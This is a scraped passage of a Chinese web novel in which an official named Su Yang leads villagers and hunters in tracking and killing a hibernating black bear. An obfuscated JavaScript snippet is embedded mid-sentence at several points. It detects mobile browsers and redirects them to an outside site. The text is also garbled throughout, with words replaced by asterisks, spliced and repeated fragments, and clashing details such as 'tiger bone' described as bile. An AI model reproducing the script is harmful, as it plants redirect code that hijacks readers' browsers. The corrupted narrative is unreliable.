俩兄弟挂了彩,自然是不能再跟着队伍一起行动了。 苏阳当机立断,让人用树枝和藤条做了两个简易的担架,又挑了四个身强力壮的小子,负责把他们抬回去。 至于那头野猪,就先放在这里,等把伤员送回去了,再来几个人把它弄回去。 “你们几个,路上小心点,照顾好他们两个。” 苏阳对抬担架的四个小子叮嘱道。 “放心吧,阳哥儿,我们一定把他们安全送回去!” 四个小子齐声应道,虽然不能继续跟着去打猎,让他们有些遗憾,但他们也知道,现在最重要的是把伤员送回去。 他们抬起担架,小心翼翼地朝着山下走去。 苏阳望着他们远去的背影,心里默默地祈祷着,希望他们一路平安。 他知道,自己肩上的担子很重,不仅要带着大家打猎,还要保证每个人的安全。 “服从命令,听指挥,这是咱们的铁律,谁都不能违背!” 苏阳再次强调,声音虽然不大,但却充满了威严。雪后的山林,银装素裹。 阳光洒下,耀眼夺目。 动物们留下的足迹,清晰可见,为追踪提供了便利。 大灰和大白,这两条备受阴弓叔赞誉的猎犬,正在林中欢快地奔跑。 它们与众不同。 寻常猎犬,仅能依靠地面气味追踪,雪一覆盖,便无计可施。 而这两条狗,却能昂首嗅探空气中残留的气息,这份本领,实属罕见。 来自依山村的两位猎人,亦是神采奕奕。 平日里,他们不过是布设陷阱,掏取鸟巢,偶有幸运,方能捕获一两只山鸡野兔。 何曾有过这般景象:身后跟随一群精壮小伙,皆听从他们的调遣。 身上的装备,更是焕然一新。 第三百三十二章 破旧刀具,已被锋利钢刀取代,软弱猎弓,亦换作强劲牛角弓。 有此等利器,莫说猎兔,即便是野猪,亦能轻易射杀! 整整一日,虽未寻得熊的踪迹,苏阳对两位猎人及其猎犬,仍颇为满意。 回村之后,苏阳毫不吝啬,赏赐两条猎犬各一大块肥美野猪五花肉。 世道艰难,人尚且难以果腹,何况犬类。 平日能食麦麸野菜团,已属不易。 若能协助主人捕获猎物,至多也只能分得些许带荤腥的残羹冷炙,若想饱餐肉食?简直是痴人说梦! 今日,大灰和大白,跟随苏阳,算是彻底告别了饥饿。 猪肉不限量供应,且是油水丰厚的五花肉,两条狗兴奋得几欲将尾巴摇断。 此举,令一众帮工心疼不已。 要知道,这可是人命比草贱的大元朝! 目睹苏阳此等“挥霍”行径,众人脑海中,不约而同浮现出一个词汇: 败家! 即便是两位猎人,也就是狗的主人,亦觉苏阳此举太过奢侈。 然而,内心深处,感动之情,亦是真真切切。 他们从未见过如苏阳这般慷慨的官老爷。 虽说此人行事略显败家,但心地善良,确凿无疑。 不仅善待犬类,对待百姓,亦是如此! 即便未能寻获熊的踪迹,苏阳亦未曾亏待两位猎人: “两位,今日辛苦,每人五升粮,离去时一并领取。” 语气平淡,仿佛只是陈述一件微不足道的小事。 两位猎人今日是否尽心尽力,苏阳心中了然。 阴弓叔亦曾言明,二人未曾懈怠。 仅凭此点,苏阳便觉阴弓叔此人,值得深交。 当初在依山村,这二人亦曾随众起哄,嘲笑阴弓叔。 然而阴弓叔,身受如此委屈,仍能公正为其辩白,此等人品,令人敬佩。 两位猎人本就满怀感激,此刻,更是热泪盈眶。 “扑通”一声,跪倒在地,向苏阳连连叩首。 其中一人,边叩首边带着哭腔说道: “巡检老爷,您真是活菩萨转世!” 另一人亦哽咽道: “若依山村村正能有您一半仁慈,我等乡亲,何至于困苦至此!” 言辞之间,对苏阳的推崇,无以复加。 从旁人只言片语中,他们对苏阳其人,已有了大致了解。 初见苏阳,还以为他是欺压良善、作恶多端的贪官污吏。 未曾料想,苏阳虽行事霸道,却拥有一颗善良之心。 那些跟随他之人,待遇优厚得令人咋舌。 “巡检老爷对手底下人可真好,顿顿有肉!” “谁说不是,工钱还高得吓人!” “这要是搁在别处,想都不敢想!” “咱村里那些人要是知道,还不得羡慕死?” “可不是,谁不想跟着这样的好老爷?” “可惜啊,这样的人怎么就不是咱村的呢?” “别说了,再说我都想跳槽了。” 几人越说越起劲。 待遇与旁人天差地别,简直就是苏泥之别。 更令他们始料未及的是,苏阳竟一视同仁。 阴弓叔作为猎人,每日可领取五升粮食,他们竟亦是如此! 此等待遇,着实出乎意料。 其中一位猎人,掰着指头盘算,愈发激动: “照这般下去,不需几日,所挣粮食,便足以支撑一家老小过冬!” 若是换作后世那些精致的利己主义者,或许会心生邪念: “待遇如此丰厚,何必费力寻熊?消极怠工,拖延时日,岂不更妙?” 好比某些唯利是图的出租车司机,三公里路程,偏要绕行十公里。 然而,这两位依山村的猎人,却绝非此等鼠目寸光之辈。 他们秉持着朴素的价值观:既受人恩惠,便当尽心竭力,以报答之。 至于故意拖延、消极怠工? 他们从未有过此等念头! 翌日,天刚破晓,众人再次踏入山林。 两位猎人更是鼓足干劲,下定决心:今日务必寻得熊的踪迹,否则,有何颜面领取那丰厚的粮饷! 阴弓叔见二人如此,眉头紧锁,忧心忡忡。 他深知,这二人急于立功,反倒容易适得其反。 狩猎之事,最忌心浮气躁,稍有不慎,便可能酿成大祸。 到那时,莫说猎熊,若是不慎伤及犬只,或是人员,后果不堪设想。 尤其苏阳亲自带队,更是容不得半点闪失。 在阴弓叔看来,任何人皆可涉险,唯独苏阳不可。 否则,他阴弓叔便成了青龙村的千古罪人,一旦返回村中,怕是要被乡亲们群起而攻之,剥皮拆骨亦难辞其咎! 思虑及此,阴弓叔愈发焦躁,赶忙将二人唤至身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他轻叹一声,摇首惋惜, “若巡检老爷乃我依山村之人… 第三百三十三章 …” 话音未落,他忽觉异样,双目一亮, “咦?似有动静!”“有动静!” 依山村的猎人耳朵一动,猛地压低声音,朝同伴打了个手势。 他死死盯着前方,浑浊的眼珠子里闪着光。 另一人也瞬间警觉,顺着他的目光望去。 只见不远处,阳光普照的山丘上,两只狗子在四处巡视。 其中一条狗低头猛嗅,鼻子几乎贴到地面,爪子不停地刨着雪堆,尾巴摇得飞快,明显是发现了什么。 “狗有反应了,过去看看!” 两个猎人交换了一个眼神,不敢大意,连忙紧走几步,跟了上去。 苏阳等人也放慢脚步,生怕惊扰了猎物。 很快,两条猎犬在一棵大银杏下停住了。 这棵老槐树,怕是得有几百年的树龄,树干粗壮得几个人才能合抱,枝桠虬曲,像一条条苍龙。 苏阳老远就瞅见,在离地三米左右的树干上,有个黑黢黢的大树洞,像怪兽张开的大嘴,透着一股子神秘。 一对**守在洞口,仰着脖子,一个劲儿地“呜呜”叫唤,想扑上去,又有些害怕。 苏阳走近几步,压低声音问:“咋样,里头有东西?” 猎人们赶紧把狗拽开,指着树洞说:“您看这洞口,结了白霜,这是里头有大家伙喘气,热气遇冷凝的,错不了。” 苏阳明白,这跟冬天人哈气冒白烟一个道理。 “能看出是啥玩意儿不?”阴弓叔凑过来,小声问。 “八成是熊瞎子!”一个猎人语气笃定,“大冬天往树洞里钻的,除了熊瞎子没别的。” 他说的“钻洞”,就是冬眠。乡下人说话粗,但意思明白。 一听可能有熊,苏阳带来的一帮小子们顿时来了精神,一个个摩拳擦掌,恨不得立马冲上去。 前些日子,他们杀野猪、宰野狼,胆子早就练出来了,哪还把一头熊放在眼里? 阴弓叔跟两个猎人嘀咕了几句,转头对苏阳说:“阳哥儿,这熊可不能惊醒!咱这帮人,大多没跟熊打过交道。这玩意儿看着笨,可凶着呢,一巴掌下来,能把人拍个半死!” 苏阳一想也是,熊这玩意儿,力气大得吓人,真要发起狂来,可不是闹着玩的。 “没事儿,咱不惊动它,直接在洞里给它来个‘透心凉’!”苏阳嘴角一撇,有了主意。 他可不想跟熊硬碰硬。 别看树洞离地三米多,他有办法。 搭人梯,这是他平时训练的重点,一帮小子们玩得贼溜。 只要让人爬上去,拿**往洞里一捅,管它什么熊,直接送它归西! 几个猎人一听,都挑起了大拇指,纷纷夸赞。 “还得是巡检老爷,点子就是多!” “石头,你带几个身手利索的,上去给它来一下狠的,争取一**命!”苏阳扭头吩咐道。 “得嘞!”陈木生答应一声,声音里透着兴奋,带着几个小子就要搭人梯。 “慢!”钱福生突然站了出来,喊了一嗓子。 “我说你们,能不能动点脑子?”钱福生背着手,一脸嫌弃,“如此巨大的野兽,死在洞里,你们准备怎么弄出来?抬棺材一样抬出来?” 他这一问,把众人都给问住了。 几个小子互相看看,心想这郎中是不是读书读傻了? 还能咋弄?拽出来呗! 苏阳却心里一动,暗叫一声“不好”! 他猛地一拍脑门,心想自己真是得意忘形了,怎么把这茬给忘了! 这些小子没见过真正的熊,不知道那玩意儿的块头。他亲眼目睹过,一头成年黑熊,少说也得两百来斤! 更何况,这头熊能把毛驴拖走,没个三四百斤的体重,根本不可能! 这么大个家伙,从三米高的树洞里弄出来,一个不小心,卡在里面,那可就麻烦了。 “这……”几个猎人也反应过来,开始给小子们解释,指着树洞比划着熊的大小。 这下,大家都傻眼了,一个个你看我,我看你,不知道该咋办。 苏阳皱着眉头,来回踱了几步,突然眼睛一亮。 “拽不出来,咱可以把树砍了啊!”他一指大银杏,“只要在树上开个口子,不就能把熊弄出来了吗?我就不信,这树还能比石头硬!” 猎人们和小伙伴们一听,又是一通马屁拍过来。 “巡检老爷真是神了!这法子绝了!” “嘿,你们这帮马屁精! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱福生却摇了摇头,一脸恨铁不成钢的样子。 “你说你,平时看着挺机灵,怎么关键时刻就犯糊涂呢? 第三百三十四章 ” 他用下巴点了点苏阳,语气里满是嘲讽。 “巡检大人,您不是能掐会算吗?要不,您给大伙儿说道说道,这其中的关窍?”“停!” 钱福生一声断喝,声音拔高了八度,像是一只被突然袭击的老猫。 他一个箭步冲到苏阳跟前,手指头几乎戳到苏阳的鼻尖上,急赤白脸地吼道: “苏二!你少来这套!等回去?等你回去把我那闺女带歪了?做梦!” 苏阳向后一仰,躲开唾沫阳子,脸上却依旧挂着笑。 钱福生急眼了,平日里在苏阳面前维持的那点“长辈”架子也彻底扔到爪哇国去了。他索性把话彻底挑明: “虎骨金贵,金贵的不是那层皮,是里头的胆汁!可熊一蹬腿,胆汁就慢慢被肝吸走了!死得越久,吸得越多,最后?最后就剩下一堆不值钱的玩意儿了!” 他一边吼,一边拿眼角余光扫视周围。 果然, 大家伙儿都一副长了见识的模样。 “原来是这么回事!” “怪不得这虎骨这么值钱……” 几个猎户也你看我,我看你,平日里打猎他们是行家,可这取虎骨的门道,还真是头一回听说。 谁闲着没事干去惹这黑瞎子啊?不要命啦? 苏阳装模作样地“哦”了一声,慢悠悠地摸着下巴, “老钱,照你这么说,那咱们干脆玩个新鲜的。别杀熊了,活捉!然后……想要胆汁的时候,直接从它身上取,咋样?” “啥?” 众人目瞪口呆, 心想苏阳这脑子……真不是一般人能比的。 钱福生更是眼珠子瞪得溜圆,活像见了鬼。 他刚被苏阳摆了一道,这会儿逮着机会,还不赶紧找回场子? “我说副巡检大人,您可真是……太有才了!” 他故意加重了语气,把“有才”两个字说得阴阳怪气, “可问题是,您不弄死这黑瞎子,怎么取胆汁?难不成您还能让它自个儿把胆汁吐出来?” 这话一出, 几个胆小的“噗嗤”一声就笑了。 苏阳也不生气,笑眯眯地说: “老钱,你咋就不开窍呢?脑子是个好东西,你得多用用。” 他故意停顿了一下, “谁说非得弄死它?在熊肚子上开个洞,插根管子,直通胆囊。平时用塞子堵住,要用的时候,拔开塞子,胆汁不就哗哗地流出来了?” 一片寂静。 大伙儿都被苏阳这番惊世骇俗的言论给震住了, 一个个张口结舌,说不出话来。 活熊身上插管子? 这得是多大的脑洞才能想出来的主意啊! 别说人了, 疯子也想不出这么离谱的点子吧! 钱福生更是像被雷劈了一样,呆若木鸡。 要是在认识苏阳之前,谁敢跟他说这种胡话, 他非得把对方骂得狗血淋头不可。 可自从跟着苏阳见识了“解剖”这门神奇的学问, 尤其是亲眼见证了苏阳那神乎其技的“开膛”手法后, 钱福生的三观早就碎了一地,又被苏阳给强行粘起来了。 虎骨长啥样,在哪儿…… 他现在闭着眼睛都能摸出来。 照苏阳这么一说, 理论上……好像……还真能把胆汁给弄出来? 钱福生觉得自己的CPU都快烧了。 他开始认真琢磨起苏阳这疯狂的建议。 要是真能成…… 那岂不是说, 这熊只要不死, 就成了个取之不尽的“金库”? 这可比一锤子买卖强多了! 虎骨这玩意, 金贵啊! 搁现在值钱, 搁以前,那更是宝贝! 钱福生越想越激动, 忍不住搓了搓手,觉得自个儿似乎发现了一条通往财富自由的大道。 “苏老弟……” 他下意识地看向苏阳, “要不……咱们真把这黑瞎子逮回去……试试?” 说话的时候,声音都带着颤音。 “啊?” 这回轮到大家伙儿用看神经病的眼神看钱福生了。 苏阳也傻眼了, 他刚才就是随口胡诌, 想杀杀钱福生的威风, 报复一下他刚才的“不敬”。 谁知道这老家伙竟然当真了? 还真打算把熊弄回去做实验? 这……玩笑是不是开大了? 苏阳心里开始打鼓。 他可不想真弄一头熊回去插管子。 后世那些关于活熊取胆汁的争论, 他在网上看得多了。 支持的说是“造福人类”, 反对的说是“惨无人道”。 虽然没亲眼见过那些熊的惨样, 但也听得耳朵起茧子了。 “老钱,拉倒吧,太造孽了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618764|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏阳赶紧摆手, “你想想,谁身上成天插根管子能受得了?咱可别干这种缺德事。” 他又补了一句: “再说,万一这熊被咱们折腾**,那可就亏大发了。” 钱福生被苏阳这一番话噎得差点没上来气。 他瞪着苏阳, 手指哆嗦着指着苏阳的鼻子, 半天憋不出一个字。 好你个苏二, 正反话都让你说了! 提议的是你, 反对的也是你! 好人你全当了, 坏人就得我来做? 哪有你这么办事的? 钱福生气得胡子都立起来了。 洞里的熊倒是睡得香甜。 外头这帮人闹腾了半天,也没把它吵醒。 估计清醒过来了,懒得搭理这帮无聊的两脚兽。 在这位熊大爷眼里,外头这群家伙,还真不够看。 “七叔,这虎骨对钱医生有用,咱总不能眼睁睁看着宝贝就在眼前,却没办法弄到手吧?得想个法子,把这黑瞎子引出来。” 苏阳倒不是贪财,他只是不想浪费这难得的药材。钱福生不是说了吗,虎骨到了他手里,能救人命呢。 阴弓叔和另外两个猎人凑到一起,脑袋顶着脑袋,嘀嘀咕咕商量开了。 可商量来商量去,也没个好主意。 想把熊引出来,只能硬拼。 可这黑瞎子一看就不好对付,那一身膘,那一对蒲扇大的熊掌,一巴掌下去,别说人了,驴也得被拍个半死。 原本依山村几人是想把熊引出来,由乔老弓带着两只猎犬对付熊,其他人从旁辅助。但乔老弓心里没底。 他那俩猎犬,平日里对付野猪、狍子啥的,那是一把好手。可对上黑瞎子这种级别的猛兽,还真没把握。万一有个闪失,那可就亏大了。 其中一个猎户想了个不是办法的办法,在洞口点把火,用烟熏。 “不行,绝对不行!” 不等苏阳开口,钱福生先急了。 “你们懂个屁!用烟熏?熊是熏出来了,可胆汁还能要么?烟熏火燎的,熊一受刺激,胆汁全完了!” 阴弓叔几人被钱福生一通训斥,也觉得这法子不靠谱。 可除了这个,他们也想不出别的招了。 “都别争了,”苏阳一锤定音,“准备一下,咱们直接杀进去!” “是!” 手下们顿时来了精神。 杀熊啊! 第三百三十五章 这要是成功了,够吹一辈子牛的! 一个个摩拳擦掌,跃跃欲试,恨不得立马冲进去跟那黑瞎子大战三百回合。“都别争了,这熊瞎子咱们必须拿下!” 苏阳斩钉截铁,打断了手下们跃跃欲试的议论。他微微眯起眼睛,语气里透着不容置疑的坚定, “现在都给我准备好,一会儿直接杀进去!” “是!” 手下们一个个摩拳擦掌,脸上泛着兴奋的光。 杀熊啊! 这事要是办成了,够他们吹嘘一辈子! 几个猎人虽然没猎过熊,心里直打鼓,但看着苏阳那股子天不怕地不怕的劲头,也莫名多了几分底气。 苏阳压根也没指望他们能出多大力。 他不屑地撇了撇嘴,心里暗道: 区区一只大笨熊罢了? 在那些没见过世面的普通人眼里,这玩意儿可能是要命的野兽,可在自己这帮兄弟面前,算个屁? 别说现在手里有家伙,就算只有十几个人,赤手空拳,一头熊又能翻出什么浪花? “石头,你带人,在大银杏四米外头列阵。” 苏阳冷静地发号施令, “**,劲**,都给我瞄准了树洞,等那畜生出来,就给它来个万箭穿心!” “得嘞!” 石头答应一声,带着几个精壮的小伙子,迅速散开。 路旭东深吸一口气,走到树前,抡起手里的枪杆, “duang~duang~” 敲起了树干。 他这是要把熊从洞里震出来。 一开始,路旭东还有点紧张,手上的力道也控制着,生怕一个不小心,把那熊瞎子给惹**了。 连续敲击过后,他发现这树干还挺结实的,胆子也就大了起来。 手上的动作越来越大,越来越快, 从下往上,还敲出了节奏感。 “当当当……” 树干底部,发出沉闷而坚实的声响。 “空空空……” 敲到半米高的位置时,声音突然变了,空洞而沉闷。 路旭东心里一喜, 这下面是空的,树洞肯定就在这儿! 他顿时来了精神, “空空空!空空空!” 对着树洞的位置就是一通猛敲,越敲越起劲,仿佛要把这棵老树给敲出一个窟窿来。 这下,这洞中霸主可不愿意了。 “哪个龟孙儿,惊扰了这位毛茸茸大爷的美梦!” 黑熊在洞里翻了个身,嘴里嘟嘟囔囔地咒骂着。 冬眠的美梦被人打断,换谁都得发飙, 更何况是一头脾气暴躁的熊瞎子! “咔咔……咔咔……” 一阵令人牙酸的声音从树洞里传了出来。 众人心里一紧,知道这是熊瞎子要出来了。 路旭东也吓了一跳,手上的动作顿时停了下来, 他一个激灵,像是屁股上着了火一样, “嗖” 的一下蹿回了队伍里,那速度,比兔子还快。 两条猎犬,大灰和大白,此刻也感受到了危险的气息。 它们弓起身子,压低了脑袋,喉咙里发出低沉的 “呜呜” 声, 全身的**都炸了起来, 随时准备扑上去跟那熊瞎子干一架! 所有人都屏住了呼吸, 死死盯着那漆黑的洞穴入口, 大气都不敢喘一声, 生怕惊动了里面的大家伙。 时间一分一秒地过去, 周围静得可怕, 只能听到众人的心跳声和粗重的呼吸声。 突然, 一颗毛绒绒的大脑袋从洞中探出身来, 黑黝黝的毛发,铜铃大的眼睛, 还有那张开的大嘴,露出了锋利的牙齿。 “汪!汪汪!” 大灰和大白再也忍不住了, 狂吠着就要往上冲, 要不是被主人死死拽着,估计早就扑上去了。 苏阳之前就特意交代过依山村的几个猎人, 让他们务必看好自家的狗, 千万别让它们乱冲, 这熊瞎子可不是闹着玩的, 万一伤到了人,那可就麻烦了。 黑熊也被这突如其来的阵仗给弄懵了。 这家伙察觉到了外面的动静, 可没想到会有这么多人! 而且还带着狗! 这些该死的两脚怪, 竟然敢打扰熊爷爷睡觉, 真是活腻歪了! 它心里又惊又怒, 巨大的熊眼死死地盯着眼前这群人, 仿佛要把他们生吞活剥了一般。 正常情况下, 黑熊在野外遇到人类, 特别是带着**的人类, 通常都会选择避开, 不会主动跟人类发生冲突。 可今天这情况,明显不正常。 大冬天的, 正是熊瞎子冬眠的时候, 被吵醒了, 能不迷糊? 苏阳以前听人说过,冬眠的熊被惊醒,就跟人刚睡醒就被叫起来干架一样,满肚子的火。 到底是火气大还是害怕, 这憨货心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625887|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里门清。 反正它现在只想出去,不管干啥都行。 黑熊猛地张开血盆大口, “嗷呜——!” 一声咆哮,比打雷还吓人! 苏阳听过熊叫唤,但从没听过这么吓人的。 这动静,直接把他吓了一跳! 心跳都快跳到嗓子眼了。 其他人更是吓得脸色发白, 有人甚至感觉腿肚子都软了! 几个猎人也没好到哪儿去。 阴弓叔的脸都白了,冷汗一个劲地往下流! 两条猎犬也吓得不轻。 大灰和大白夹着尾巴,一个劲地往后退。 黑熊可不管这些, 脑袋往外一伸,两只熊掌呼地探出洞外, 接着是上半身,下半身…… 没一会儿,这庞然大物竟从树洞中钻出。 它可不是直接跳下来的, 而是抱着树干,一点一点往下出溜。 快到地面的时候, 这憨憨松开了利爪, “扑通!” 落到了地上。 这动静,把不少人吓醒了。 他们这才发现自己刚才被熊给吓住了,一个个又羞又气! “汪汪!” 大灰和大白回过神来,猛地扑了上去。 苏阳没退,它们也不会退! 作为猎犬,保护主人是天职, 哪怕再害怕,它们也会冲上去。 黑熊刚落地, 正准备冲进人群里大开杀戒。 两条**就扑了上来。 黑熊更生气了, 这俩玩意儿,平时见了自己都躲得远远的, 今天竟然敢主动挑衅! 它直接把火气撒到了两条猎犬身上。 大灰和大白在山里打过野猪,有点经验。 它们一左一右,准备夹击黑熊。 但这大块头可不是寻常猎物, 它比野猪灵活多了。 两只大巴掌一挥,就把两条猎犬的攻击给挡住了。 大灰和大白吓了一跳,赶忙躲开。 黑熊没理它们, 又是一声怒吼, 对着人群就冲了过来!“嘣!嘣!” 几乎是同一瞬间,石头和路旭东的手指猛地收紧,扣动了蹬张**。 **机震颤,两支**箭裹挟着尖锐的破空声,一左一右,分别射向黑熊那庞大的身躯,精准地命中了它的肩膀。 这要是换做普通人,别说两箭,中一箭就得当场跪地不起,可这头黑熊硬生生扛了两箭,不仅没有丝毫停顿,反而像是被彻底激怒了一般,凶性大发。 第三百三十六章 “吼——” 一声惊天动地的咆哮,如同平地惊雷,震得满山的树叶都“唰唰”地往下掉,像是下起了一场枯叶雨。 站在黑熊正前方的几个小子,更是被这突如其来的音浪震得头晕眼花,耳中嗡嗡作响,连手中紧握的**都有些摇晃,几乎握持不住。 这头黑熊可不是寻常野兽,它狡猾得很,绝不会像野猪那样傻乎乎地往锋利的枪尖上撞。它深知这些闪着寒光的枪尖的厉害。 只见它巨大的熊掌猛地一挥,裹挟着千钧之力,如同拍苍蝇般,轻而易举地就将几杆**扫到了一旁。 这下,巨兽前方一马平川。 它那双闪烁着嗜血光芒的眼睛,死死地盯着几个已经吓傻了的小子,口中涎水滴落,显然是打算大开杀戒,饱餐一顿。 就在这千钧一发之际,大灰和大白这两条忠心耿耿的猎犬,猛地从后方飞扑上来,如两道闪电般冲向黑熊。 它们死死咬住黑熊粗壮的后腿,四只爪子拼命地刨着地面,发出低沉的呜咽,用尽全身力气向后拽。 它们很清楚黑熊的威胁,也知道自己可能会因此丧命,被那巨大的熊掌拍成肉泥,但为了保护自己的主人,它们毫不犹豫地选择了牺牲,哪怕明知可能会死,也要拖住这头凶残的畜生,为自己的主人们争取那一线生机! 然而,这头黑熊显然是铁了心要攻击人群,即便后腿被两条猎犬死死拖住,它也依旧不肯放弃,硬是拖着两条狗,一步步地向前挪动,想要冲向人群。 这黑熊的力气实在是太大了,两条身经百战的猎犬,竟然也无法完全将它拽住,只能勉强延缓它的速度。 眼看着黑熊那庞大的身躯,带着不可阻挡的气势,就要扑到那几个已经吓得手足无措的小子身上。 “嘣!” 一声清脆的**机声响起,打破了这令人窒息的紧张气氛。 苏阳,这位一直站在后方冷静观察的年轻人,终于果断出手,扣动了手中的**机。 其实,他原本并不想这么早出手干预。按照他的计划,是想让这帮小子们多积累一些实战经验,锻炼锻炼他们的胆量和应变能力。 可眼下这情况,他也不能再袖手旁观了。这帮小子终究还是太嫩了,第一次面对如此巨大的野兽,明显是有些没能顶住压力,一个个都被吓得呆若木鸡。 苏阳深吸一口气,将准星对准了黑熊。他瞄了许久,直到确定万无一失,配合两只猎犬前后夹击,为他创造了绝佳的射击机会,这一箭,他射得极准,分毫不差地命中了黑熊胸前那块醒目的白斑! 传闻白斑就是这头凶兽的死穴,这一箭正中要害,效果立竿见影。 只见那原本气势汹汹的黑熊,仿佛被施了定身术一般,庞大的身躯猛地一顿,停在了原地。 就这一瞬间的停顿,对于那些被吓傻了的小子们来说,无异于救命的稻草。 他们终于从极度的恐惧中回过神来。 “打死这畜生!” 陈木生怒吼一声,率先挺起**,朝着黑熊猛刺过去。其他小子也纷纷反应过来,紧随其后,将手中的**狠狠地刺向黑熊。 **如林,带着众人的愤怒和恐惧,狠狠扎进黑熊的身体。 其中五杆枪,枪头深深没入黑熊体内,造成的创伤比**箭要严重得多。鲜血喷涌而出,瞬间染红了黑熊的皮**,也染红了地面。 五杆**,再加上两条猎犬依然死死咬住黑熊后腿不放,黑熊纵有万钧之力,此刻也难以施展。 它奋力挣扎了几下,终究还是徒劳。 几秒钟后,这头巨兽轰然倒地,激起一片尘土。 大灰和大白见黑熊倒地,立即松口,转而扑到黑熊身上,疯狂撕咬,将这些日子的恐惧与担忧,统统发泄出来。 苏阳并未阻止,任由它们撕咬。 战场上,硝烟尚未散尽,还有几个小子沉浸在方才的惊险中,一时没能完全回神,其中就包括孔远山。 孔远山这小子,平日里干活、跑腿、耍嘴皮子样样都行,唯独这打仗,实在是不在行。 从听到第一声熊吼开始,他就被吓得六神无主,整个人呆愣愣的,直到黑熊咽气,他都没能做出任何反应。 相比之下,陈木生和路旭东的表现则要出色得多,他们几乎是在第一时间就做出了反应,并且果断地开**射击,为其他人争取了宝贵的时间。 苏阳站在人群后方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后,他从怀里掏出一个棉布口袋,小心翼翼地将虎骨装了进去,系紧了口子,然后贴身放好,这才彻底放下心来。 第三百三十七章 “你们几个,还愣着干啥!赶紧的,给狗喂食!” 苏阳回过神来,指着那两个还傻愣愣站在一旁的猎人,大声吩咐道。 这两个猎人,今天可是丢人丢到家了。 别说跟这帮小子比,连条看门狗都不如他们。 两条狗奋勇杀敌,立了大功,他们俩倒好,全程都在旁边看戏,啥忙也没帮上。 其中一个猎人挠了挠头,有些不好意思地问道: “巡检老爷,这……这喂啥啊?熊心行不?” 苏阳摆了摆手,说道: “熊心有啥用?直接喂肉,大块的五花肉!” “哎!好嘞!” 两个猎人连忙答应,手脚麻利地从黑熊身上割下大块的五花肉,扔给大灰和大白。 两条狗吃得那叫一个欢实,似乎对这五花肉情有独钟,完全没有要吃内脏的意思。 两个猎人看得直纳闷,忍不住又偷偷地看向苏阳,期待这位大佬巡检为他们指点迷津。 “这狗……平时不是最喜欢吃内脏了吗?今儿个咋还转了性子了?” 其中一个猎人忍不住小声嘀咕道。 苏阳瞥了他们一眼,心里暗自吐槽: “你们问我,我问谁去?我又不是兽医,哪知道这些狗的心思?” 可面对两个猎人那求知若渴的眼神,苏阳又不好意思说自己不知道。 就在这时,阴弓叔也凑了过来,一脸好奇地问道: “苏阳啊,你说这狗今天是怎么了?咋就不爱吃内脏了呢?” 苏阳见阴弓叔也问起了这个问题,知道自己是躲不过去了。 他干咳了两声,清了清嗓子,故作高深地说道: “咳咳,这个问题嘛,说来话长。这样吧,为了让你们印象深刻,我先不直接告诉你们答案。远山,你不是对这些东西挺感兴趣的吗?来,你给大家伙儿解释解释,这狗为啥不吃黑熊的内脏?” 孔远山:“……”孔远山哪儿见过这阵仗,腿肚子直哆嗦,一时间竟不知如何是好。 其他小子也懵了,平日里跟着苏阳作威作福,真遇上事儿,也是两眼一抹黑,干瞪眼。 “咳咳……” 苏阳轻咳两声,手指头却在微微颤抖。 打破了这尴尬的局面。 他知道,自己“无所不知”的人设绝不能崩。 关键时刻,还得靠他。 “黑熊这玩意儿,看着凶,其实是个杂食性的……” 苏阳顿了顿,眼珠子转了转。 “所谓杂食性,就是啥都吃,荤素不忌。” “正因如此,这黑熊体内,尤其是内脏里头,难免藏着些不干净的玩意儿,叫什么……微生物。” 苏阳故意拽了个新词,说得神乎其神,自己都快信了。 众人听得一愣一愣的。 什么杂食性,什么微生物,压根儿没听过。 有人想挠头,又不敢动,怕打断了苏阳的“讲学”。 苏阳暗自得意。 就是要这效果。 你们都不懂,才显得哥的学问高深嘛。 不动声色地观察着众人的反应,苏阳清了清嗓子,准备结束这次“科普”。 猎熊大功告成,苏阳大手一挥,示意队伍启程返回。 这黑熊着实不小,剥皮去脏放了血,竟还有三百多斤,生前得有多壮实,也难怪能一巴掌拍死头毛驴。 小子们也都乐开了花,虽说杀熊的过程出了点岔子,可结果是好的,这事迹够他们吹嘘一辈子了。有人已经开始盘算,回去之后怎么跟人显摆。 